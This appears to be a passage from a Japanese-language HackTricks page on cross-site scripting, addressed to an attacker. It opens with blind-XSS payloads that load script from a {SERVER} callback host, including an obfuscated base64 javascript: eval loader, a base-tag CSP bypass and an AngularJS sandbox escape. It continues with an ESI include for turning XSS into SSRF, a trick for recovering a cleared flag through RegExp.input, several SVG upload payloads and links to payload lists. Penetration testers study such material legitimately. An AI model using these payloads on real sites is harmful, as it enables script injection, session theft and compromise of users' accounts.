<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 隠れたコンテンツへのアクセス
From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
ブルートフォースリスト
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
他の脆弱性を悪用したXSS
MarkdownにおけるXSS
レンダリングされるMarkdownコードを注入できますか?もしかしたらXSSを取得できるかもしれません!確認してください:
SSRFへのXSS
キャッシングを使用しているサイトでXSSを取得しましたか?このペイロードを使ってそれをSSRFにアップグレードしてみてください:
<esi:include src="http://yoursite.com/capture" />
クッキー制限、XSSフィルターなどを回避するために使用します!
この技術に関する詳細情報はこちら: XSLT。
動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットをだまして、任意のJSコードを実行させることを試みることができます。
したがって、PDF作成ボットが何らかのHTML タグを見つけると、それを解釈し、あなたはこの動作を悪用してサーバーXSSを引き起こすことができます。
HTMLタグを注入できない場合は、PDFデータを注入してみる価値があるかもしれません:
Amp4EmailにおけるXSS
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで機能を補完したHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、AMPコンポーネントを介してアクセスできます。
AMP for Emailフォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
例としてGmailのAmp4EmailにおけるXSSの解説。
ファイルのアップロードにおけるXSS (svg)
次のようなファイルを画像としてアップロードします(http://ghostlulz.com/xss-svg/から):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
より多くのSVGペイロードを見つけるには https://github.com/allanlw/svg-cheatsheet
その他のJSトリックと関連情報
Misc JS Tricks & Relevant Info
XSSリソース
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。